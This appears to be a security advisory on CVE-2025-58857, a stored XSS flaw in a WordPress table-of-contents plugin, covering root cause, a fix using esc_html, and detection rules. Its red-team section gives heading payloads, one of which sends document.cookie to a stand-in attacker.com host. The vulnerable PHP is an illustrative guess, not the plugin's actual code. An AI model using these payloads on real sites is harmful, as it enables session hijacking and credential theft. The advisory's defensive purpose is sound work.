CVE-2025-58857

Executive Summary

CVE-2025-58857 is a Stored Cross-Site Scripting (XSS) vulnerability in the KaizenCoders "Table of Content" WordPress plugin, affecting versions up to and including 1.5.3.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin's content table, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of WordPress and the plugin's purpose in generating dynamic content tables, this poses a significant risk to site integrity and user data confidentiality. The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes proactive mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As such, it is part of the WordPress ecosystem and not directly related to NPM, PyPI, Go, or Ruby packages. However, the plugin may be bundled within WordPress themes or other plugins, expanding its supply chain risk. Administrators should audit all plugin dependencies and ensure no outdated versions of "Table of Content" are present in their environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. While the EPSS score is low, the potential for widespread exploitation increases if a proof-of-concept is released. The requirement for authenticated access reduces the attack surface but does not eliminate it, especially in multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the content-table plugin's handling of user input when generating the table of contents. The plugin likely processes post content to extract headings and build a navigable table. Improper sanitization of heading text or custom attributes allows an attacker to inject malicious JavaScript.

Root Cause: The plugin fails to escape or sanitize heading content before rendering it in the table of contents. When a contributor creates or edits a post, they can include HTML or JavaScript in heading tags (e.g., <h2>). The plugin then reads these headings and outputs them without proper encoding, leading to stored XSS.

Attack Flow:

1. An attacker with contributor-level access creates a new post or edits an existing one.
2. The attacker inserts a malicious payload into a heading, such as: <h2><img src=x onerror=alert('XSS')></h2>.
3. The plugin generates the table of contents, including the malicious heading.
4. When any user (including administrators) views the post, the payload executes in their browser.

Impact: Successful exploitation can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive information (e.g., cookies, CSRF tokens).

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable code pattern and a potential fix.

Vulnerable Code (PHP):

// In table-of-contents.php or similar
function generate_toc($content) {
    preg_match_all('/<h([1-6])[^>]*>(.*?)<\/h[1-6]>/i', $content, $matches);
    $toc = '<ul>';
    foreach ($matches[2] as $heading) {
        $toc .= '<li>' . $heading . '</li>'; // Direct output without sanitization
    }
    $toc .= '</ul>';
    return $toc;
}

Patched Code (Recommended Fix):

function generate_toc($content) {
    preg_match_all('/<h([1-6])[^>]*>(.*?)<\/h[1-6]>/i', $content, $matches);
    $toc = '<ul>';
    foreach ($matches[2] as $heading) {
        $toc .= '<li>' . esc_html($heading) . '</li>'; // Sanitize output
    }
    $toc .= '</ul>';
    return $toc;
}

The fix uses esc_html() (WordPress function) to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with the "Table of Content" plugin (version <= 1.5.3.1) installed and activated.
• A user account with contributor-level privileges.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. In the post content, add a heading with a malicious payload. Example:

   <h2><img src=x onerror=alert(document.cookie)></h2>
   

4. Publish or save the post.
5. As an administrator or other user, view the post. The JavaScript will execute.

Advanced Payload:

<h2><svg onload=fetch('https://attacker.com/steal?cookie='+document.cookie)></h2>

Blue Team

Detection:

• Monitor for posts containing suspicious HTML in headings (e.g., <script>, <img onerror=, <svg onload=).
• Use Web Application Firewall (WAF) rules to block common XSS patterns in post content.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search WordPress database for posts with headings containing event handlers:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content REGEXP '<h[1-6][^>]*on[a-z]+=';
  

• Review user activity logs for unusual post edits by low-privilege users.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the plugin directory: /wp-content/plugins/table-of-contents/
  • Modified plugin files (e.g., table-of-contents.php) with suspicious code.

• Network Indicators:

  • Outbound connections to unknown domains from the WordPress server.
  • HTTP requests containing XSS payloads in heading parameters.

• Log Indicators:

  • WordPress debug logs showing PHP warnings related to preg_match_all or esc_html.
  • Web server access logs with requests to posts containing <script> or event handlers.

• Database Indicators:

  • Posts with post_content containing <script>, <img onerror=, <svg onload=, or similar patterns.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_TableOfContent {
    meta:
        description = "Detects stored XSS payloads in WordPress Table of Content plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58857"
    strings:
        $xss1 = /<h[1-6][^>]*on[a-z]+=/i
        $xss2 = /<script[^>]*>/i
        $xss3 = /<img[^>]*onerror=/i
        $xss4 = /<svg[^>]*onload=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via Table of Content Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WordPress posts targeting the Table of Content plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
        cs-request-body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58857 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<h[1-6][^>]*(on[a-z]+=|script|img|svg)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the "Table of Content" plugin until a patch is released.
2. Restrict User Roles: Limit contributor-level access to trusted users only.
3. Web Application Firewall: Deploy WAF rules to block XSS payloads in post content.

Long-Term Fix:

• Apply the vendor patch once available. If no patch is forthcoming, consider forking the plugin and implementing the fix described in the "Vulnerable vs. Patched Code" section.
• Regularly update all WordPress plugins and themes.
• Implement a Content Security Policy (CSP) to restrict script execution.

Workaround:

• Use an alternative table of contents plugin that is actively maintained and patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert